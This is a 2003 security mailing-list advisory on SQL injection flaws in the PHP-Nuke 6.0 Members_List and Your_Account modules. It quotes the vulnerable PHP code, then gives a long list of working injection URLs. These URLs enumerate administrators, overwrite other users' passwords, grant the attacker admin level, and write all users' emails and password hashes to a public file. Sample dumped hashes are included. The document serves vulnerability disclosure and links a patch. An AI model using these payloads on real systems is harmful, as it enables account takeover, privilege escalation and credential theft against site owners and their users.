Vulnwatch mailing list archives

PHP-Nuke 6.0 (& 6.5?) : Serious SQL Injection Security Holes


From: "Frog Man" <leseulfrog () hotmail com>
Date: Thu, 06 Mar 2003 15:29:59 +0100


Informations :
°°°°°°°°°°°°°°
Language : PHP
Website : http://www.phpnuke.org
Versions : 6.0 (& 6.5?)
Modules : Members_List, Your_Account
Problem : SQL Injection
PHP Configuration : This will work if magic_quotes_gpc=OFF.


PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
/modules/Members_List/index.php :

------------------------------------------------------------------------
[...]
       $count = "SELECT COUNT(uid) AS total FROM ".$user_prefix."_users ";
$select = "select uid, name, uname, femail, url from ".$user_prefix."_users ";
        $where = "where uname != 'Anonymous' ";

        if ( ( $letter != "Other" ) AND ( $letter != "All" ) ) {
           $where .= "AND uname like '".$letter."%' ";

       } else if ( ( $letter == "Other" ) AND ( $letter != "All" ) ) {
           $where .= "AND uname REGEXP \"^\[1-9]\" ";

       } else {
           $where .= "";
       }
       $sort = "order by $sortby";
       $limit = " ASC LIMIT ".$min.", ".$max;

       $count_result = sql_query($count.$where, $dbi);
       $num_rows_per_order = mysql_result($count_result,0,0);

       $result = sql_query($select.$where.$sort.$limit, $dbi) or die();


       echo "<br>";
       if ( $letter != "front" ) {
echo "<table width=\"100%\" border=\"0\" cellspacing=\"1\"><tr>\n"; echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><font color=\"$textcolor2\"><b>"._NICKNAME."</b></font></td>\n"; echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><font color=\"$textcolor2\"><b>"._REALNAME."</b></font></td>\n"; echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><font color=\"$textcolor2\"><b>"._EMAIL."</b></font></td>\n"; echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><font color=\"$textcolor2\"><b>"._URL."</b></font></td>\n";
           $cols = 4;
[...]
------------------------------------------------------------------------


/modules/Your_Account/index.php :
------------------------------------------------------------------------
switch($op) {
[...]
   case "mailpasswd":
        mail_password($uname, $code);
        break;

   case "userinfo":
        userinfo($uname, $bypass, $hid, $url);
        break;

   case "login":
        login($uname, $pass);
        break;
[...]
   case "saveuser":
saveuser($uid, $realname, $uname, $email, $femail, $url, $pass, $vpass, $bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest, $user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter);
        break;
[...]
   case "savehome":
savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast, $popmeson);
        break;

   case "savetheme":
        savetheme($uid, $theme);
        break;
[...]
   case "savecomm":
        savecomm($uid, $uname, $umode, $uorder, $thold, $noscore, $commentmax);
        break;
[...]
}
------------------------------------------------------------------------


/modules/Your_Account/index.php :
------------------------------------------------------------------------
[...]
function saveuser($uid, $realname, $uname, $email, $femail, $url, $pass, $vpass, $bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest, $user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter) { global $user, $cookie, $userinfo, $EditedMessage, $user_prefix, $dbi, $module_name;
   cookiedecode($user);
   $check = $cookie[1];
   $check2 = $cookie[2];
$result = sql_query("select uid, pass from ".$user_prefix."_users where uname='$check'", $dbi);
   list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
   if (($uid == $vuid) AND ($check2 == $ccpass)) {
        if (!eregi("http://";, $url)) {
            $url = "http://$url";;
        }
        if ((isset($pass)) && ("$pass" != "$vpass")) {
            echo "<center>"._PASSDIFFERENT."</center>";
        } elseif (($pass != "") && (strlen($pass) < $minpass)) {
echo "<center>"._YOUPASSMUSTBE." <b>$minpass</b> "._CHARLONG."</center>";
        } else {
if ($bio) { filter_text($bio); $bio = $EditedMessage; $bio = FixQuotes($bio); }
            if ($pass != "") {
                cookiedecode($user);
                sql_query("LOCK TABLES ".$user_prefix."_users WRITE", $dbi);
                $pass = md5($pass);
sql_query("update ".$user_prefix."_users set name='$realname', email='$email', femail='$femail', url='$url', pass='$pass', bio='$bio' , user_avatar='$user_avatar', user_icq='$user_icq', user_occ='$user_occ', user_from='$user_from', user_intrest='$user_intrest', user_sig='$user_sig', user_aim='$user_aim', user_yim='$user_yim', user_msnm='$user_msnm', newsletter='$newsletter' where uid='$uid'", $dbi); $result = sql_query("select uid, uname, pass, storynum, umode, uorder, thold, noscore, ublockon, theme from ".$user_prefix."_users where uname='$uname' and pass='$pass'", $dbi);
                if(sql_num_rows($result, $dbi)==1) {
                    $userinfo = sql_fetch_array($result, $dbi);
docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]);
                } else {
                    echo "<center>"._SOMETHINGWRONG."</center><br>";
                }
                sql_query("UNLOCK TABLES", $dbi);
            } else {
sql_query("update ".$user_prefix."_users set name='$realname', email='$email', femail='$femail', url='$url', bio='$bio', user_avatar='$user_avatar', user_icq='$user_icq', user_occ='$user_occ', user_from='$user_from', user_intrest='$user_intrest', user_sig='$user_sig', user_aim='$user_aim', user_yim='$user_yim', user_msnm='$user_msnm', newsletter='$newsletter' where uid='$uid'", $dbi);
            if ($attach) {
                $a = 1;
            } else {
                $a = 0;
            }
            }
            Header("Location: modules.php?name=$module_name");
        }
   }
}
[...]
function savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast, $popmeson) {
   global $user, $cookie, $userinfo, $user_prefix, $dbi, $module_name;
   cookiedecode($user);
   $check = $cookie[1];
   $check2 = $cookie[2];
$result = sql_query("select uid, pass from ".$user_prefix."_users where uname='$check'", $dbi);
   list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
   if (($uid == $vuid) AND ($check2 == $ccpass)) {
        if(isset($ublockon)) $ublockon=1; else $ublockon=0;
        $ublock = FixQuotes($ublock);
sql_query("update ".$user_prefix."_users set storynum='$storynum', ublockon='$ublockon', ublock='$ublock', broadcast='$broadcast', popmeson='$popmeson' where uid='$uid'", $dbi);
        getusrinfo($user);
        
docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]);
        Header("Location: modules.php?name=$module_name");
   }
}

function savetheme($uid, $theme) {
   global $user, $cookie, $userinfo, $user_prefix, $dbi, $module_name;
   cookiedecode($user);
   $check = $cookie[1];
   $check2 = $cookie[2];
$result = sql_query("select uid, pass from ".$user_prefix."_users where uname='$check'", $dbi);
   list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
   if (($uid == $vuid) AND ($check2 == $ccpass)) {
sql_query("update ".$user_prefix."_users set theme='$theme' where uid='$uid'", $dbi);
        getusrinfo($user);
        
docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]);
        Header("Location: modules.php?name=$module_name&theme=$theme");
   }
}
[...]
function savecomm($uid, $uname, $umode, $uorder, $thold, $noscore, $commentmax) {
   global $user, $cookie, $userinfo, $user_prefix, $dbi, $module_name;
   cookiedecode($user);
   $check = $cookie[1];
   $check2 = $cookie[2];
$result = sql_query("select uid, pass from ".$user_prefix."_users where uname='$check'", $dbi);
   list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
   if (($uid == $vuid) AND ($check2 == $ccpass)) {
        if(isset($noscore)) $noscore=1; else $noscore=0;
sql_query("update ".$user_prefix."_users set umode='$umode', uorder='$uorder', thold='$thold', noscore='$noscore', commentmax='$commentmax' where uid='$uid'", $dbi);
        getusrinfo($user);
        
docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]);
        Header("Location: modules.php?name=$module_name");
   }
}
[...]
------------------------------------------------------------------------



/modules/Your_Account/index.php :
------------------------------------------------------------------------
[...]
function mail_password($uname, $code) {
global $sitename, $adminmail, $nukeurl, $user_prefix, $dbi, $module_name; $result = sql_query("select email, pass from ".$user_prefix."_users where (uname='$uname')", $dbi);
   if(!$result) {
        include("header.php");
        OpenTable();
        echo "<center>"._SORRYNOUSERINFO."</center>";
        CloseTable();
        include("footer.php");
[...]
------------------------------------------------------------------------


------------------------------------------------------------------------
[...]
function userinfo($uname, $bypass=0, $hid=0, $url=0) {
global $user, $cookie, $sitename, $prefix, $user_prefix, $dbi, $admin, $broadcast_msg, $my_headlines, $module_name; $result = sql_query("select uid, femail, url, bio, user_avatar, user_icq, user_aim, user_yim, user_msnm, user_from, user_occ, user_intrest, user_sig, pass, newsletter from ".$user_prefix."_users where uname='$uname'", $dbi);
   $userinfo = sql_fetch_array($result, $dbi);
[...]
------------------------------------------------------------------------



------------------------------------------------------------------------
[...]
function login($uname, $pass) {
   global $setinfo, $user_prefix, $dbi, $module_name;
$result = sql_query("select pass, uid, storynum, umode, uorder, thold, noscore, ublockon, theme, commentmax from ".$user_prefix."_users where uname='$uname'", $dbi);
   $setinfo = sql_fetch_array($result, $dbi);
[...]
}
[...]
------------------------------------------------------------------------




Exploits :
°°°°°°°°°°
Members_List :
- Show users (order by crypted pass) :
http://[target]/modules.php?name=Members_List&letter=All&sortby=pass

- Show users (order by UID) :
http://[target]/modules.php?name=Members_List&letter=All&sortby=uid

- Show moderators :
http://[target]/modules.php?name=Members_List&letter='%20OR%20user_level='2'/*

- Show administrators :
http://[target]/modules.php?name=Members_List&letter='%20OR%20user_level='4'/*

- Show all users having a crypted pass beginning with 'abc' :
http://[target]/modules.php?name=Members_List&letter='%20OR%20pass%20LIKE%20'abc%25'/*

- Etc...


Your_Account :
- Change the name of 'Admin' user into "hophophop" :

http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',name='Hophophop'%20where%20uname='Admin'/*&uid=[OUR_UID]

- Change the Bob's password INTO md5_decrypted 'd41d8cd98f00b204e9800998ecf8427e' :

http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=saveuser&realname=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=saveuser&email=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=savehome&storynum=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=savehome&ublockon=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=savecomm&umode=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=savecomm&thold=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]


or...or... and or again :p


- Change our own user account level into admin level :
http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',user_level='4&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=saveuser&femail=',user_level='4&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=saveuser&url=http://',user_level='4&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=savehome&broadcast=',user_level='4&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=savecomm&uorder=',user_level='4&uid=[OUR_UID]
or etc...




- Save all users' email & crypted password into http://[target]/AllMailPass.txt :

http://[target]/modules.php?name=Your_Account&op=mailpasswd&uname=&apos;)%20OR%201=1%20INTO%20OUTFILE%20'/[path/to/site]/AllMailPass.txt'/*

It will give in http://[target]/AllMailPass.txt anything like :
--------------------------------------------------------
chaeyut () yahoo com    a34e83e6658923ceb100abb52cd31df6
for-ever () yahoo com   5728cea4924d9097c78d08165ad1dd8a
runbur () netzero com   546fa9501a436d4615b798f856386ba8
venom () yahoo com              614edfbc874f09d75b98240295a8f39f
gotchakd () yahoo de    fbd125e74581979d2b7fc6e2b360e286
cfischer () mindspring com      9407c826d8e3c07ad37cb2d13d1cb641
mike () xiradio com     f9ac6b05beccb0fc5837b6a7fef4c1d3
mikdif () yahoo com     6106edf3e22b0cd8609fa1112d0ae962
mcurry () hotmail com   739897be3e14cf5a9fb032069f522b77
--------------------------------------------------------

(crypted password can be sent by cookie to access to the account).


- Save the informations about users wich have an uid between 190 and 196 into http://[target]/1.txt :

http://[target]/modules.php?name=Your_Account&op=userinfo&uname='%20OR%20uid>190%20AND%20uid<196%20INTO%20OUTFILE%20'/[path/to/site]/1.txt



- Save all informations about admins, moderators,... into http://[target]/admintxt :

http://[target]/modules.php?name=Your_Account&op=login&uname='%20OR%user_level>1%20INTO%20OUTFILE%20'/[path/to/site]/admin.txt



etc etc ... !


[path/to/site] can be found (for example) on http://[target]/modules/Forums/bb_smilies.php (Path Disclosure Security Hole).


Solution :
°°°°°°°°°°
A patch has been created and published on http://www.phpsecure.info .


More Details :
°°°°°°°°°°°°°°
In French :
http://www.frog-man.org/tutos/PHP-Nuke6.0-Members_List-Your_Account.txt

Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FPHP-Nuke6.0-Members_List-Your_Account.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools



Credits :
°°°°°°°°°
Greetz to T. Rodriguez, [RaFa], Webotheque.be
Author : frog-m@n
http://www.phpsecure.info .


_________________________________________________________________
Utilisez votre MSN Messenger via votre GSM ! http://www.fr.msn.be/gsm/servicesms/messengerparsms


Current thread: